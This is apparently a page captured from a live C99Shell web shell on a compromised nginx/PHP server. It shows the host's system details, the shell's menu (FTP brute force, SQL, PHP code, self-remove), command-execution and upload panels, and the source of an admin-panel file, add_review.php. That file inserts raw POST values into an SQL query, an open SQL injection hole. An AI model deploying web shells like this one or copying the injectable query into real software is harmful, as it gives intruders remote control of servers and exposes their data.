!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     add_review.php (6.36 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
include(
'includes/header.php');
if (isset(
$_POST['submit'])) {
    
$name $_POST["name"];
    
$technology $_POST["technology"];
    
$review $_POST["review"];
    
$rating $_POST["star"];

    
$query "insert into reviews(`technology`,`name`,`review`,`rating`)values('" $technology "','" $name "','" $review "','" $rating "')";
    
$result $con->query($query);
    
$count $con->affected_rows;
    if (
$count 0) {
        echo 
"<script>window.location.href='view_reviews.php';</script>";
    } else {
        echo 
"<script>window.location.href='add_review.php';</script>";
    }
    
}
?>
<?php 
  

// Storing session data
   
$_SESSION["role"];
   if(!isset(
$_SESSION["role"]))
   {

    
header("location:admin_login.php");
    
    
?>
    <script type="text/javascript">
        window.location.href = "admin_login.php";
    </script>
    <?php
   
}
   else
   {
    
?>
<div class="page-container">
    <div class="left-content">
        <div class="mother-grid-inner"> 
            <!--header start here-->
            <div class="header-main">
                <div class="header-left">
                    <div class="logo-name"> <a href="admin_index.php">
                            <h3>SICS ADMIN</h3>
                            <br>

<!--<img id="logo" src="" alt="Logo"/>--> 
                        </a> </div>
                    <div class="clearfix"> </div>
                </div>

                <!--notification menu end -->
                <div class="profile_details">
                    <ul>
                        <li class="dropdown profile_details_drop"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                <div class="profile_img"> <span class="prfil-img"><img src="images/p1.png" alt=""> </span>
                                    <div class="user-name">
                                        <p>Srishti Innovative</p>
                                        <span><?php echo $_SESSION["name"];?></span> </div>
                                    <i class="fa fa-angle-down lnr"></i> <i class="fa fa-angle-up lnr"></i>
                                    <div class="clearfix"></div>
                                </div>
                            </a>
                            <ul class="dropdown-menu drp-mnu">
                              <!-- <li> <a href="#"><i class="fa fa-cog"></i> Settings</a> </li> 
                                                                                                      <li> <a href="#"><i class="fa fa-user"></i> Profile</a> </li>  -->
                                <li> <a href="logout.php"><i class="fa fa-sign-out"></i> Logout</a> </li>
                            </ul>
                        </li>
                    </ul>
                </div>
                <div class="span5" style="    min-height: 600px;">
                    <div class="row" style="margin-top:95px;margin-left:50px;">
                        <h4 style="text-align: left;margin: 0% 0% 3%;color: #337cc5;">Add Review</h4>
                        <form method="post" action="" enctype="multipart/form-data">


                            <div class="txt-field">
                                <?php
                                $query1 
"select * from technologies order by id desc";
                                
$result1 $con->query($query1);
                                
?>
                                <label>Technology</label><br>
                                <select id="technology" name="technology" required style="width:25%;"> 
                                    <option value="">------------Select------------</option>
                                    <?php
                                    
while ($row1 $result1->fetch_assoc()) {
                                        
?>
                                        <option value="<?php echo $row1["id"]; ?>"><?php echo $row1["name"]; ?></option>
                                        <?php
                                    
}
                                    
?>
                                </select>
                            </div> <br>
                            <div class="txt-field">
                                <label>Name</label><br>
                                <input type="text" id="name" name="name" placeholder="Name" required>
                            </div>
                            <br>
                            <div class="txt-field">
                                <label>Review</label><br>
                                <textarea id="review" name="review" rows="5" cols="40" required="required"></textarea>
                            </div>
                            <br>
                            <div  class="txt-field">
                                <label>Rating</label><br>
                                <select class="form-group" name="star" id="star" style="width:19%;">
                                    <option value="1">1</option>
                                    <option value="2">2</option>
                                    <option value="3">3</option>
                                    <option value="4">4</option>
                                    <option value="5">5</option>
                                </select>
                            </div>
                            <br>
                            
                            <br>
                            <input type="submit" class="logins" name="submit" value="Submit">
                        </form>
                    </div>
                </div>
                <br>
                            
                            <br><br>
                            
                            <br><br>
                            
                            <br>
            </div>
            
        </div>

        <!--heder end here--> 
        <!-- script-for sticky-nav --> 

        <!-- /script-for sticky-nav --> 
        <!--inner block start here--> 

    </div>
    <div class="clearfix"> </div>

    <!--slider menu-->
    <?php include('includes/sidebar.php'); ?>
    <div class="clearfix"> </div>
</div>
<!--slide bar menu end here-->

<?php include('includes/footer.php'); ?>
<script>

</script>

<?php
   
}
?>  

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.006 ]--